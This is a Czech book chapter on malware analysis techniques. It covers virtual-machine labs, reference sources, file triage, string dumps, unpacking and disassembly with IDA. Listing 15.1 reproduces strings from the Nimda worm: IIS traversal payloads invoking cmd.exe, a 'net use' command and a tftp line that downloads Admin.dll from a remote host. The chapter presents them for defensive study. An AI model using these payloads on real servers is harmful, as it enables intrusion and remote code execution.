Systémy, jako jsou právě uvedené, může být velmi drahé sestavit. Můžete se omezit na operační systémy, které jsou zdarma k dispozici nebo jsou levné. Každopádně však budete potřebovat prostředí, ve kterém může škodlivý kód obvykle neomezeně pracovat, což v současné době platí hlavně pro platformu Windows. Kde tedy hledat potřebné systémy? Dobrým začátkem je jistě přihlášení se do MSDN. Microsoft vám zašle všechna prostředí, která potřebujete k analýze škodlivého kódu na platformě Windows.

Potřebujete například zranitelnou verzi Microsoft IIS? Najdete ji v MSDN. Potřebujete k analýze červa nebo exploitu jinou instalaci SQL Serveru 2000? Určitě ji také naleznete v MSDN. Betaverze pro nové operační systémy jsou dalším způsobem, jak se rychle dostat k novým prostředím.

Používání betaverzí vám umožní lépe, a také dříve porozumět operačním systémům. Máte-li štěstí, můžete pracovat pro tým, který je zodpovědný za IT ve velké společnosti. V takové situaci často získáte přístup k novým hardwarovým prostředím, jako jsou třeba 64bitové operační systémy Microsoftu pro platformy IA-64, což vám umožní je zkoumat dříve, než záporní autoři virů. Budete-li pracovat s betaverzemi operačních systémů, získáte znalosti, které budou potřebné ve chvíli, kdy se hrozby ohrožující tyto systémy stanou skutečnými. Vždy je dobré mít náskok a vědět o nových platformách co nejvíce informací. Čím více se o nich dozvíte, tím větší budete mít šance při analýzách aplikací pro ně napsaných.

Klíčové není pochopit škodlivý kód, ale právě prostředí, ve kterém škodlivý kód běží.

15.2 Informace, informace, informace K úspěchu při analýze počítačových virů potřebujete kvalitní a podrobnou dokumentaci o architekturách a operačních systémech, stejně jako o ostatních prostředích.

15.2.1 Průvodci architekturami Různí průvodci architekturami (například Intel Architecture Software Manuals) vám poskytnou důležité a detailní informace, například o nízkoúrovňovém programování procesorů Intel. To vám pomůže rychleji porozumět binárnímu kódu na jednotlivých platformách. Následující seznam bude evidentně potřebné v budoucnosti rozšířit s tím, jak se budou další hrozby zaměřovat na nové platformy (například ARM nebo EM64T, což je IA32 s 64bitovým rozšířením):  Pro Intel IA32 – http://www.intel.com/design/mobile/manuals/243191.htm. Zde

naleznete Intel Architecture Software Developer’s Manual, Volume 2: Instruction Set Reference.  Pro Intel IA64 – http://www.intel.com/design/itanium/manuals/iiasdmanual.htm.  Pro AMD 64 – http://www.amd.com/us-en/Processors/DevelopWithAMD.  Pro SPARC – http://www.docs.sun.com/db/doc/816-1681. Zde naleznete detaily o Intel

Architecture Software Manuals assembly; tento dokument také obsahuje užitečné informace o formátu ELF.

15.2.2 Báze znalostí Báze znalostí o operačních systémech, sítích, programování a bezpečností jsou pro dosažení úspěchu také důležité. V minulosti byl seznam přerušení od Ralfa Browna velkou biblí různých analyzátorů

Počítačové viry – analýza útoku a obrana

529

virů pro DOS4. Po nástupu Win32 a červů pro tuto platformu jsou nejhodnotnějšími zdroji informací knihovny MSDN API. Doporučuji rovněž navštěvovat takové stránky, jako jsou například Sysinternals (http://www.sysinternals.com), které poskytují další informace a nástroje jak pro Windows, tak i pro Linux.

Během let jsem shromáždil více než stovku knih o programování, operačních systémech a počítačové bezpečnosti. Velice doporučuji knihu od Garyho Nebbetta pojmenovanou jako "Native API", která je velice užitečná při bližším studiu vnitřních detailů systémů, založených na NT. Garyho práce o vnitřních strukturách operačních systémů je opravdu uměleckým dílem. Někteří lidé dokonce věří, že autor měl přístup ke zdrojovým kódům operačního systému. (Osobně předpokládám, že použil zkušební verzi systému, která v sobě obsahuje symbolické informace o jednotlivých modulech systému.)

Mnoho jiných výborných knih o vnitřních detailech Windows (například "Windows 95 System Programming Secrets" od Matta Pietreka) je však bohužel už vyprodáno, nicméně jejich kopie je možné získat pomocí eBay. Pravděpodobně však za ně zaplatíte mnohem více, než za originál. Také je vhodné seznámit se s různými verzemi SDK a DDK platforem, na kterých analyzujete kód. Vložené soubory, které jsou ukryté v takových vývojových prostředích, jsou často jediným prostředkem, jak převést parametry volání funkce do srozumitelného jazyka.

Některá SDK nebo DDK jsou občas vydána s nečekanými překvapeními. V jednom vydání DDK jsem například našel kopii souboru zwapi.h. Dvě hodiny poté Microsoft vydal nové DDK, které tento soubor už neobsahovalo.

Soubor winnt.h v SDK Microsoftu obsahuje mnoho aktuálních informací o souborovém formátu PE. Bohužel – některé formáty souborů jsou zdokumentovány pouze částečně, nebo vůbec5. Například takový formát souborů VxD ve Windows nebyl Microsoftem nikdy oficiálně zdokumentován. A naopak – souborový formát ELF, který se používá na UNIXových systémech, například na Linuxu, je zdokumentován velice dobře. Vaše analýzy nakonec budou tak dobré, jak dobré bude vaše vzdělávání se v těchto záležitostech. Takže se musíte neustále snažit získávat dobré a užitečné informace.

15.3 Dedikovaná analýza virů pomocí VMWARE VMWARE vám umožňuje vzít s sebou systém pro výzkum virů, ať už jdete kamkoliv. Od doby, kdy jsem, před více než dvaceti lety, získal svůj první počítač (C64), jsem bral svůj počítač vždy s sebou.

To je také pravděpodobně důvod, proč mám pět notebooků – nikdy bych si asi nezvyknul na klasické pracovní stanice.

Výborné na VMWARE je to, že umí spouštět Linux, stejně jako různé verze operačních systémů, v režimu počítačové sítě. Tento software mi představil Ian Whalley v roce 2000 během jedné z mých návštěv Watson Research Labs, která je součásti IBM. Ian vedl výzkum produktu Digital Immune System a tento nástroj shledal jako velice výborným pro automatizovanou analýzu škodlivého kódu6. Okamžitě jsem se připojil!

Na obrázku 15.1 je načtený hostující operační systém RedHat společně s několika paralelními hostujícími operačními systémy, kterými jsou MS-DOS, Windows XP a Windows 95.

530

Obrázek 15.1

Kapitola 15 – Techniky analýzy škodlivého kódu

VMWARE se zavedeným hostujícím RedHatem na hostitelském systému Windows XP.

VMWARE obvykle spouštím pouze v režimu hostitele, takže hostující operační systém může "vidět" pouze můj systém, který je vyhrazený pro analýzu virů. Je třeba být opatrný, protože VMWARE může přistupovat ke sdíleným diskovým jednotkám na hostitelském operačním systému, které představují jednu z cest, jak se může škodlivý kód dostat mimo virtuální systém. Bezpečnější variantou je připojovat obrazy VMWARE pouze do virtuální sítě, případně vypnout podporu sítě úplně.

VMWARE umožňuje ušetřit některé stroje pro ostatní uživatele. Pomocí něj je také možné implementovat síťové spojení mezi hostujícími operačními systémy pomocí spojení na lokální síti, jak je znázorněno na obrázku 15.2. Je tedy možné snadno provozovat jednoduchý systém pro analýzu počítačových červů.

Nezapomeňte však, že korektní sada obrazů systémů je pouze počátkem vaší analýzy.

Obrázek 15.2

Sada virtuálních strojů ve virtuální síti.

U pokročilé konfigurace můžete chtít zvážit použití Honeydu (http://www.honeyd.org) , stejně jako DNS serveru, který do tohoto systému směruje provoz. Honeyd můžete například jednoduše nakonfigurovat tak, aby emuloval "identitu" systému Windows XP, na kterém běží služba SMTP serveru. Taková

Počítačové viry – analýza útoku a obrana

531

konfigurace umožňuje otestovat replikaci SMTP červa, i když tento červ používá seznam pevných IP adres. To proto, že pokusy o připojení červa budou úspěšně nalezeny. Honeyd emuluje identitu systémů tak dobře, že i pokročilé nástroje pro průzkum sítě (například NMAP7) věří, že nalezly skutečný cíl.

Přestože jsou simulované síťové služby velmi dobré pro práci s většinou jednoduchých počítačových červů, jejich kompletní testování však často vyžaduje používání zranitelných systémů. Honeyd však může být konfigurován také tak, že namísto emulovaných síťových služeb používá služby reálné. Pomocí této metody může být přirozená infekce červy typu CodeRed provedena mnohem rychleji. Na druhou stranu, existují červi jako Linux/Slapper, kteří jsou k takovým manipulacím velice citliví, protože heap (hromada) zranitelného cílového procesu může být destabilizována extrémně velkým provozem, který je vyvolán přesměrováním příliš velkého množství IP adres na jediný server. V takových případech je jedinou možností rekonfigurace síťového rozhraní, jak už bylo vysvětleno dříve.

15.4 Proces analýzy počítačového viru Z analytického pohledu nejsou počítačové viry nikdy stejné. To je důvod, proč je jejich výzkum uměním, kterým zůstane i v budoucnosti. S tím, jak se objevují nové třídy počítačových virů, se počet virů rozšiřuje o tisíce nových napodobenin. To pomáhá procesu analýzy, protože jednotlivé třídy virů mohou být často analyzovány pomocí stejné strategie.

15.4.1 Příprava 15.4.1.1 Rychlá zkouška Prvním krokem v procesu analýzy je rychlá zkouška podezřelého objektu. V současné době je většina počítačových virů ve spustitelném souborovém formátu, jako jsou makra v dokumentech nebo skripty.

Počítačoví červi často používají kombinace všech těchto objektů.

Tento krok spočívá v rozpoznání známých čistých souborů. Antivirové společnosti například udržují rozsáhlou databázi čistých objektů pomocí jejich hashů MD5. Neexistuje žádný dobrý důvod, abychom ztráceli čas se souborem calc.exe ve Windows XP, když víme, že byl tento soubor vydán v čisté podobě. Často používám speciální nástroje, jakým je například Dustbin (jehož autorem je Dmitry Gryaznov), který rozezná standardní známé čisté soubory od souborů nakažených viry, na které ostatní výzkumníci narazili ve svých sbírkách. Během let vytvořil Dmitry pro antivirové výzkumníky několik užitečných nástrojů, jako například Symboot, který umí simulovat bootovací sektor disku pomocí souborového obrazu. Jiným nástrojem pro práci s boot sektory je program Bots od Igora Muttika, který umí pomocí kontrolních součtů rozlišit několik set čistých boot sektorů. Takové nástroje mohou výrazně napomoci procesu filtrování.

15.4.1.2 Filtrování Druhý krok spočívá ve filtrování pomocí antivirového skeneru (nebo několika skenerů). Nalezne-li antivirový program v objektu nějaký škodlivý kód, může se jednat o již známou hrozbu, případně variantu známé hrozby. V jiných případech se spustí heuristická analýza, která může pomoci odhalit podezřelé infekce (zde se však může objevit falešné pozitivní hlášení, je tedy potřeba dalšího potvrzení).

532

Kapitola 15 – Techniky analýzy škodlivého kódu

Klasifikační nástroje, jako je VGrep (původně vyvinutý Ianem Whalleym; nyní vyvíjen a udržován Dmitry Griaznovem), mohou pomoci zkontrolovat křížové reference jmen známých škodlivých kódů.

Můžete například zkontrolovat, jestli je soubor, detekovaný jako W32/Nimda.A@nn, známý jiným antivirovým programům pod jiným jménem – jak je ukázáno v tabulce 15.1.

Tabulka 15.1 – Ukázkový výstup programu VGrep.

ALWIL AVAST! LGUARD 7.70-85 5-Mar-2004

: Win32:Nimda [Wrm]

H+BEDV AntiVir/DOS32 6.24.0.6 3-Mar-2004

: W32/Nimda.eml

GRISoft AVG 6.406/393 5-Mar-2004

: I-Worm/Nimda

Kaspersky Lab KAVDOS32 3.0/135 5-Mar-2004

: I-Worm.Nimda

SOFTWIN BDC 7.0 5-Mar-2004

: Win32.Nimda.A@mm

Dialogue Science DrWeb386 4.31 5-Mar-2004

: Win32.HLLW.Nimda.57344

Frisk Software F-Prot 3.14b 5-Mar-2004

: W32/Nimda.A@mm

McAfee Scan 4.32.0 5-Mar-2004

: W32/Nimda.gen@MM

IKARUS PSCAN 2.27 5-Mar-2004

: Win32.Nimda.A@mm

MkS MkS_vir 2004.03 5-Mar-2004

: Worm.Nimda.A

Symantec NAV CE 7.0 VSCAND 5-Mar-2004

: W32.Nimda.A@mm

ESET NOD32 1.654 5-Mar-2004

: Win32/Nimda.A

Norman NVCC 5.70.01 5-Mar-2004

: W32/Nimda.A@mm

Panda Antivirus 6.0 PAVCL 5-Mar-2004

: W32/Nimda

Trend Micro VScan32 1.0/803 5-Mar-2004

: PE_NIMDA.A

GeCAD RAV 8.1.001 5-Mar-2004

: Win32/Nimda.H@mm

Sophos SWEEP 3.79 5-Mar-2004

: W32/Nimda-A

CA VET RESCUE 10.60.0.43 5-Mar-2004

: Win32.Nimda.A

CA InoculateIT INOCUCMD 64.00 5-Mar-2004

: Win32/Nimda.A.Worm

VirusBuster VirusBuster 1.12.004 7.895 5-Mar-2004

: I-Worm.Nimda.A

Taková klasifikace může pomoci redukovat omyly a snadněji spojit jednotlivé vzorky se stávajícími informacemi v antivirových databázích.

Jiný zajímavý nástroj, nazvaný jako MIRA (Macro Identification and Resemblance Analyzer), vyvinul Costin Raiu pro klasifikaci makrovirů. MIRA používá neuronovou síť k tomu, aby porovnal nové varianty makrovirů se známými makroviry, které byly do sítě uloženy během tréninku. K zadanému vstupnímu vzorku zobrazí MIRA procento podobnosti a jméno souvisejícího viru. Je-li na vstup například vložen vzorek W97M/Pri.Q, bude výstup programu MIRA takový, jako v tabulce 15.28.

Tabulka 15.2 – Výstup nástroje MIRA pro virus W97M/Pri.Q. Top 10 matches for [G:\newv\pri-q_1.d8c]: 0.9017 with [virus://Word97Macro/PSD.A] 0.8797 with [virus://Word97Macro/Buffer.A] 0.8688 with [virus://Word97Macro/Pri.O] 0.8636 with [virus://Word97Macro/Pri.O] 0.8553 with [virus://Word97Macro/Melissa.BC]

Počítačové viry – analýza útoku a obrana

533

0.8420 with [virus://Word97Macro/Pri.M] 0.8414 with [virus://Word97Macro/Psd.A] 0.8341 with [virus://Word97Macro/Class.AR] 0.8253 with [virus://Word97Macro/Pri.W] 0.8005 with [virus://Word97Macro/Pri.F]

Je zajímavé, že prvním nalezeným virem je W97M/PSD.A. To proto, že Pri.Q používá stejný polymorfní mechanismus a grafický payload, jako PSD.A. Viry jsou však v prvé řadě klasifikovány podle podobnosti v replikačním kódu, nikoliv podle vlastností, jako je polymorfní mechanismus nebo payload. Není tedy překvapující, že MIRA nalezne tyto podobnosti, podobně jako výzkumník obeznámený s virem PSD.Q. Druhým v pořadí je Buffer.A, který obsahuje rozesílací rutinu viru Pri.Q. Dále je samozřejmě zobrazeno několik variant Pri, které mohou být dobrý indikátorem toho, že virus patří do jeho rodiny.

Další klasifikační nástroje pro červy v prostředí Win32 se neustále vyvíjejí. Jejich cílem je pomoci výzkumníkům lépe rozeznat jednotlivé útoky bez podrobné znalosti detailů všech virů. Jedním z těchto systémů je VOOGLE, vyvíjený Symantecem. Jedná se vyhledávací stroj, který v počítačových červech hledá různé řetězce. Pracuje se také na korelačních nástrojích, které jsou (podobně jako MIRA), založeny na neuronových sítích.

15.4.1.3 Odstranění plevele Třetí fáze představuje odstranění některých souborů určených pro analýzu. Někteří červi jsou poškození, protože jim třeba chybí konec. V této fázi výzkumníci eliminují právě takové poškozené objekty.

V některých případech však tento druh odpadu vyžaduje identifikaci. Za některých okolností počítačoví červi selžou a pošlou poškozenou kopii sebe sama. E-mailové schránky se tak snadno zaplní spamem.

Detekce takového smetí může být důležitá, je však spíše pouhým odrazem potenciálního nebezpečí.

15.4.1.4 Rychlý průzkum kódu viru Čtvrtým krokem je rychlá analýza podezřelého objektu a vypátrání pozice kódu viru. To obvykle dělám pomocí jednoduchého binárního (hexadecimálního) prohlížeče. Rychle identifikuji typ objektu. Pokud se jedná například o soubor PE, na jeho začátku je značka "MZ", následovaná signaturou PE a několika jmény sekcí (.text, .data atd.). Pro vysvětlení – pokud se třeba podívám na NC (NetCat) v nástroji HVIEW9, ihned vím, že pracuji s 32-bitovou aplikací Windows, jak je znázorněno na obrázku 15.3.

Obrázek 15.3

Záhlaví nástroje NC (NetCat) v HVIEW.

V této fázi se také dívám po informacích o copyrightu v souboru. Informační část souboru často odhalí známá jména společností, takže pak mohu mít pochybnosti o tom, že se jedná o známý čistý program.

V některých případech totiž používá škodlivý kód zavádějící informace, aby vás přesvědčil o tom, že se jedná o korektní program – proto jsou potřeba další kroky k tomu, abychom se ujistili, že je soubor

534

Kapitola 15 – Techniky analýzy škodlivého kódu

opravdu čistý. A aby to nebylo tak jednoduché, kódy programů typu adware a spyware mohou vyvinuty v naprosto legitimních společnostech.

V mnoha případech vám však pomohou tyto kroky zjistit, zdali se jedná o komerční aplikaci. Pak můžete mít kopii této aplikace. Pomocí nástroje pro porovnání souborů (například FC – File Compare) pak můžete tyto kopie porovnat a ověřit, zdali jsou totožné.

Během této fáze také zkontroluji konec souboru. Právě na toto místo se totiž přidává mnoho počítačových virů, takže mohou být snadno nalezeny. Například virus W32/Funlove přidává na konec infikovaného souboru kompletní spustitelný soubor typu PE, takže je možné najít dvě hlavičky "MZ" a velice podezřelou zprávu, jak je to uvedeno na obrázku 15.4.

Obrázek 15.4

Část souboru infikovaného virem Funlove v nástroji HVIEW.

V tomto kroku analýzy také používám nástroj pro výpis souborů, který rozumí struktuře zkoumaného souboru. Pro kontrolu vnitřní struktury souboru PE mohu použít PEDUMP10, pro kontrolu souboru ELF v UNIXu zase program elfd. Takto je možné odhalit různé problémy se strukturou objektů. Je například možné zjistit skutečnost, že obraz (image) nezačíná v sekci kódu, ale až v poslední části (statické heuristické metody pro použití v antivirových strojích byly popsány již dříve).

15.4.1.5 Výpis řetězců Dalším důležitým krokem je výpis řetězců analyzovaného objektu pomocí nástroje, jako je "strings".

Ujistěte se, že používáte nástroj, který rozumí řetězcům Unicode. To zjistíte, pokud budete pracovat se skriptovacím škodlivým kódem, který je ve většině případů možné bez problémů přečíst, pokud ovšem není zašifrovaný. Potom je potřeba jej nejprve dešifrovat. A podobně jako binární soubory, i řetězce mohou často odhalit celé sekce podezřelých informací, které se však v mnoha případech objevují v komprimované a zakódované podobě. Ukažme si výpis sekce řetězců červa Nimda, viz výpis 15.1.

Výpis 15.1 Výpis sekce řetězců červa Nimda. /scripts/..%255c.. /_vti_bin/..%255c../..%255c../..%255c.. /_mem_bin/..%255c../..%255c../..%255c.. /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c.. /scripts/..%c1%1c.. /scripts/..%c0%2f.. /scripts/..%c0%af..

Počítačové viry – analýza útoku a obrana

535

/scripts/..%c1%9c.. /scripts/..%%35%63.. /scripts/..%%35c.. /scripts/..%25%35%63.. /scripts/..%252f.. /root.exe?/c+ /winnt/system32/cmd.exe?/c+ net%%20use%%20\\%s\ipc$%%20""""%%20/user:""guest"" tftp%%20-i%%20%s%%20GET%%20Admin.dll%%20 Admin.dll c:\Admin.dll d:\Admin.dll e:\Admin.dll <html><script language=""JavaScript"">window.open(""readme.eml"", null, ""resizable=n

Konstantní řetězce ve škodlivém kódu mohou být velice užitečné pro rychlé nalezení některých aspektů vnitřních detailů kódu. V předchozím výpisu řetězce můžete vidět exploit pro procházení webu (web-traversing) a další příkazy (jako NET USE nebo TFTP), které rozšiřují DLL nazvané admin.dll. Dále je vidět, že toto DLL je s největší pravděpodobností zkopírováno na disky C:\, D:\ a E:\. Můžete také vidět, že pomocí JavaScriptu, který je vložen do HTML souborů, bude spuštěn soubor readme.eml. Můžete se vsadit, že tento soubor bude obsahovat zakódovaný škodlivý kód.

Dobrým nápadem je filtrace extrahovaného textu pomocí nějakého nástroje. Řetězce však můžete postupně procházet a prohlížet jeden po druhém. Přípony jmen spustitelného kódu obvykle začínám hledat pomocí řetězců jako .EXE, .SCR a .PIF, a také pomocí dalších řetězců, které jsem našel poblíž těchto přípon. K filtrování výstupu pomocí těchto klíčových slov (případně klíčových slov, která jsou asociována s nějakým protokolem) lze použít také program grep. Pro zjištění, zdali se jedná o e-mailového červa, lze například použít vyhledávání "MIME", "From:" nebo "@".

Tento krok nemusí být bezprostředně úspěšný, je-li škodlivý kód zašifrován nebo zkomprimován. V posledních letech se množství 32bitových počítačových červů dramaticky zvýšilo. Během roku 2004 spadalo asi 95 % počítačových virů do třídy síťových červů a 90 % z nich bylo zkomprimováno pomocí UPX, ASPACK a podobných komprimačních programů. Tato skutečnost má obrovský vliv na dnešní trendy v analýze – je tedy nezbytné ovládat metody, které umožňují pracovat jak s kompresí, tak i šifrováním.

15.4.1.6 Disassemblování Ke kontrole kódu aplikace poblíž jeho vstupního bodu používám také disassembler, jako je IDA. S jeho pomocí lze zkontrolovat, jestli zde není nějaký neobvyklý nebo nepřátelský kód. Jak bylo vysvětleno v kapitole 4 o klasifikaci metod infekce, některé viry používají ke skrytí své aktivace výkonné techniky EPO. Většina EPO virů se však stále přidává na konec souboru. Většina souboru tak ukrývá důležité informace o objektu – je tedy potřeba vše důkladně zkontrolovat.

536

Kapitola 15 – Techniky analýzy škodlivého kódu

15.4.1.7 Použití "black-boxu" Když se objeví nějaký příznak existence škodlivého kódu, zaměříme se v dalším kroku na jeho spuštění a monitorování na testovacím systému. U virů v tomto kroku potřebujeme důkaz toho, že se kód rekurzivně replikuje v dalších infikovaných objektech, kde po spuštění způsobí další infekci. Někteří výzkumníci začínají touto fází, přičemž k monitorování používají jednoduchý "black-box" proces. Pokud však alespoň částečně nepochopí záměry škodlivého kódu, mohou být jejich závěry nesprávné. Já osobně nejdříve začínám rychlou analýzou, poté spustím škodlivý kód na vyhrazeném systému a nakonec se vrátím k podrobné analýze. Podle mých zkušeností je tento proces analýzy mnohem efektivnější.

15.4.2 Dekomprese Již dříve jsem zmínil, že asi 90 % současných 32bitových počítačových virů spadá do té třídy virů, které jsou zkomprimovány pomocí nějakého komprimačního nástroje, jako je UPX nebo ASPACK. Většina takových run-time kompresních nástrojů však neumožňuje dekompresi zpět do původního souboru, ale pouze do paměti, kde je poté zkomprimovaná aplikace spuštěna. Autoři škodlivého kódu tuto skutečnost velmi rádi využívají, protože využitím jednoduchých komprimačních nástrojů mohou skrýt záměry svého kódu použitím komprese, nebo dalších zašifrovaných vrstev. Kromě toho může být zkomprimovaný kratší kód více infekční, protože se během průniku přenáší po síti menší množství dat.

Z pohledu útočníka je další výhodou komprese to, že takový virus může být schopen snížit efektivitu ochrany, což zvyšuje jeho šance na úspěšný útok.

UPX například podporuje jak kompresi, tak i dekompresi. Příkaz "UPX -d" dekomprimuje spustitelné soubory, které byly předtím zkomprimované pomocí tohoto programu. V některých případech však UPX nemusí obnovit aplikaci stoprocentně do původní podoby. Je-li však dekomprimovaný obsah k dispozici, můžeme použít některé z výše uvedených strategií, jako například výpis řetězců. Skutečnost, že se jedná o UPX, můžeme často rozeznat tak, že zkontrolujeme, jestli jména sekcí v hlavičce souboru obsahují "UPX". Spustitelný soubor, zkomprimovaný pomocí UPX, obsahuje zpravidla pouze tři sekce.

Většina regulérních programů má obvykle sekce alespoň čtyři.

Poznámka Někteří útočníci mohou změnit jména sekcí na něco jiného; komprimátor je však stále možné rozlišit kontrolou vstupního bodu kódu pomocí disassembleru.

Problém je o něco závažnější, pracujeme-li s komprimátorem, který nepodporuje dekompresi, nebo když narazíme na jeho mírně pozměněnou verzi. Útočníci run-time komprimátory často mírně pozměňují, takže je dekompresní rutina nerozezná a selže. V takových případech máme tyto možnosti:  Debugovat kód na vyhrazeném stroji.  Vypsat obsah paměťi škodlivého procesu do souboru.  Použít specializovaný nástroj, který nativně emuluje dekomprimační kód.

Pracovní skupiny zodpovědné za bezpečnost obvykle používají na zakázku vytvořené nástroje, které podporují všechny běžné komprimátory; takové nástroje však nemusí být běžně dostupné. Je tedy po-

Počítačové viry – analýza útoku a obrana

537

třeba provést dynamickou analýzu hrozeb, která zahrnuje spuštění škodlivého kódu na vyhrazeném systému a monitorování jeho akcí. Často je obtížné přijít na to, který druh komprimátoru je v souboru použit. Nástroje typu PEID se snaží pro takovou detekci používat signatur. PEID však bohužel není oficiálním nástrojem – je silně spojen s komunitou hackerů. Rozhodně nemohu doporučit jeho použití na produkčním systému, můžete jej však zkusit použít na systému vyhrazeném pro výzkum. Tento program dokáže rozeznat téměř 500 různých variant komprimátorů a může velice pomoci při bližším seznámení s nimi.

Poznámka Vždy si dávejte pozor na to, co z Internetu stahujete a spouštíte. I profesionální nástroje jsou často napadeny různými trojskými koňmi, buďte tedy opatrní! Kromě toho – některé dekompresní nástroje mohou po rozbalení kód automaticky spustit. V důsledku dekomprese tak může být spuštěn i samotný škodlivý kód.

Nejlepším řešením může být připojení debuggeru (například TD – Turbo Debugger, nebo OllyDBG; oba jsou volně dostupné) k běžícímu procesu a vypsání obsahu paměti. Tento trik umožňuje úspěšnou práci se zašifrovaným nebo polymorfním kódem.

15.4.3 Disassemblování a dešifrování Analýza založená na disassemblování je nejvýkonnější metodou k získání informací o škodlivém binárním kódu. Jak už bylo uvedeno dříve, většina počítačových virů se vkládá do toku programu blízko vstupního bodu programu. Oproti minulosti, kdy se škodlivý kód obvykle psal v assembleru, je dnes většina počítačových virů vytvořena v jazycích vyšší úrovně, jako jsou Delphi, C, Visual C nebo Visual Basic. Pro analýzu takových hrozeb je však znalost assembleru nezbytná Některé části této knihy obsahují disassemblované úseky, které byly z počítačových virů extrahovány pomocí disassembleru IDA. Tento program mi představil Eugen Kaspersky na sklonku roku 1997. Při pohledu na mé "středověké" metody se Eugene smál a říkal, že sice dělám dobrou věc, ale pětkrát pomaleji, než bych mohl dělat s využitím lepších nástrojů. Já jsem byl opravdu zvyklý komentovat škodlivý kód v obyčejných textových souborech. Byla to opravdu nepříjemná práce! Tento proces vyžaduje přejmenování každé proměnné – jedné po druhé – v celém kódu, a to bez použití křížových referencí.

Na začátku devadesátých let existovaly opravdu dobré automatizované nástroje pro analýzu kódu, například výkonný Sourcer. Tyto nástroje však byly často limitovány tím, že vedle automatizovaného disassemblování neumožňovaly současně manuální analýzu. Naštěstí pro nás existuje IDA (Interactive Dissassembler). Původně byl vyvinut Ilfakem Guilfanovem, a dále vyvíjen belgickou firmou Data Rescue, která patří Pierre Vandevennemu. S Pierrem jsem se setkal v roce 1995 na konferenci, věnované počítačovým virům. Toto setkání nebylo náhodné – Pierre má rozsáhlé znalosti počítačových virů, metod obrany proti nim a obnovy dat. V důsledku toho bylo do IDA začleněno mnoho nástrojů, které pomáhají analyzovat škodlivý kód. Program také uzpůsoben potřebám profesionálních vývojářů.

538

Kapitola 15 – Techniky analýzy škodlivého kódu

IDA umožňuje přejmenovat proměnné, které jsou v kódu křížově odkazovány pod novými jmény – to šetří čas pro zajímavější věci. Tento nástroj se nedávnost stal debuggerem v uživatelském režimu, což umožňuje jeho použití i profesionálními vývojáři. IDA perfektně podporuje mnoho procesorů a obsahuje jak verzi pro práci s příkazovou řádkou, tak i verzi s grafickým rozhraním, což umožňuje uspokojit všechny potřeby vývojářů.

Poznámka Buďte opatrní. Z mnoha různých důvodů můžete kód, místo jeho disassemblování, náhodným způsobem spustit. IDA ovšem můžete nakonfigurovat tak, aby debugování kódu bylo zakázáno.

IDA ukládá disassemblované informace ve vlastním databázovém formátu. To urychluje proces poté, co je zkoumaná aplikace zavedena. Proces zavádění může trvat od několika sekund až po několik minut, v závislosti na tom, jak je analyzovaný kód rozsáhlý. Nemusíte však čekat na kompletní dokončení. Kód můžete začít analyzovat už ve chvíli, kdy jsou pomocí výkonného rozpoznávače (recognizer) rozlišeny křížové reference na nové prvky.

IDA umí zpracovat a načíst mnoho spustitelných formátů, včetně formátu ELF – je tedy vhodný k analýze škodlivého kódu napsaného na platformách UNIX. Pomocí IDA můžete například rychle přejít k sekci ".data" (ta obsahuje konstantní data) počítačového červa, který obsahuje spustitelný kód ve formátu PE. Takto můžete zobrazit konstantní řetězce, jako jsou ty, které byly extrahovány výše z viru Nimda. Pokud nejdříve zpracujete konstantní data, můžeme využít křížových referencí, které vytváří IDA, a přejít na místo, kde je konstanta použita v kódu. Takto se můžeme zaměřit na důležité oblasti kódu a neztrácet čas oblastmi méně důležitými, které mohou obsahovat kód knihoven. Například aplikace napsaná v Delphi může z 90 % obsahovat kód knihoven. A věnovat několik hodin čtení kódu knihoven může být opravdu frustrující zkušeností. IDA tento problém eliminuje pomocí takzvaných "flirtovacích signatur" (flirt signatures).

Velice výkonná technika reverzního inženýrství souvisí s porovnáváním vzorů (pattern matching).

S tím, jak zkoumáte další a další spustitelné soubory, začnete časem rozpoznávat, co je v kódu obvyklé a co neobvyklé – brzy začnete nalézat rozdíly. IDA výrazně rozšiřuje vaše možnosti použitím signatur pro identifikaci kódu knihoven. To může ohromně zrychlit statický proces analýzy. Umožní vám to zaměřit pozornost na kód autora, a nikoliv na kód knihoven. Během mnoha let práce jsem si vytvořil velice citlivé vnímání, takže někteří lidé v mé blízkosti občas nemohou pochopit, jak mohu s viry pracovat tak rychle. To proto, že nejdříve použiji techniku pro porovnávání vzorů, poté sestavím teorii toho, jak by škodlivý kód mohl fungovat a poté si ověřím, jsou-li mé teorie správné, nebo ne. Pokud například mohu rozeznat rutinu, která mapuje spustitelný soubor, můžu vidět, že možným infekčním kódem může být několik kilobajtů velká část okolo této rutiny – velká část kódu je tedy ze strukturálního pohledu jasná. Takto pokračuji, dokud nezůstanou pouze oblasti, které nemohu zařadit do žádné kategorie. Takové "neklasifikované" oblasti pak obvykle obsahují nové postupy a metody, které si žádají bližší pozornost antivirového výzkumníka.

Všichni výzkumníci sice viry neanalyzují tímto způsobem, ale je zajímavé, že i Alan Solomon (autor skenovacího enginu) má podobné tendence – to často překvapuje lidi, kteří jsou zvyklý studovat kód

Počítačové viry – analýza útoku a obrana

539

tak, že čtou v kódu jednu instrukci po druhé. Když jsme byli v tomto oboru začátečníci, dělali jsme to s Alanem úplně stejně. Trik spočívá v tom, že se omezí potřeba detailní interpretace na minimum, přičemž se stále udržuje přehled o všech nebezpečích. Věřím, že budete následovat principy popsané v této kapitole a začnete pracovat jiným způsobem, než jakým jsme pracovali my v dávných dobách.

Nebyl totiž nikdo, kdo by nám řekl, jak v tomto druhu výzkumu postupovat; s přicházejícími novými hrozbami jsme postupně improvizovali.

Na obrázku 15.5 je virus W32/CTX disassemblovaný pomocí IDA. Jedná se o polymorfní virus, takže je potřeba jej nejdříve dekódovat. Virus připojen k aplikacím. Protože virový kód mění svůj základ podle pozice v souboru, při zavedení do IDA by si neodpovídaly návěští (label) proměnných. To je důvod, proč tělo viru v dekódované podobě obvykle vložíme do samostatného souboru a do IDA jej zavedeme jako binární objekt. Přitom opatrně přizpůsobíme bázové adresy tak, aby si návěští proměnných odpovídaly (match). Takto se zbavíme nutnosti ručně počítat offset každé proměnné.

Obrázek 15.5

IDA s disassemblovaným virem CTX.

Už dříve jsem vysvětlil, že v kódu vyhledávám obecné vzory, které mohu zařadit do určité třídy. Na obrázku 15.5 můžete například vidět návěští "Return_Host", které označuje kód, který je používaný viry pro spuštění hostitelského programu. Jiným příkladem je "DIRECT_INFECTION", který použí-

540

Kapitola 15 – Techniky analýzy škodlivého kódu

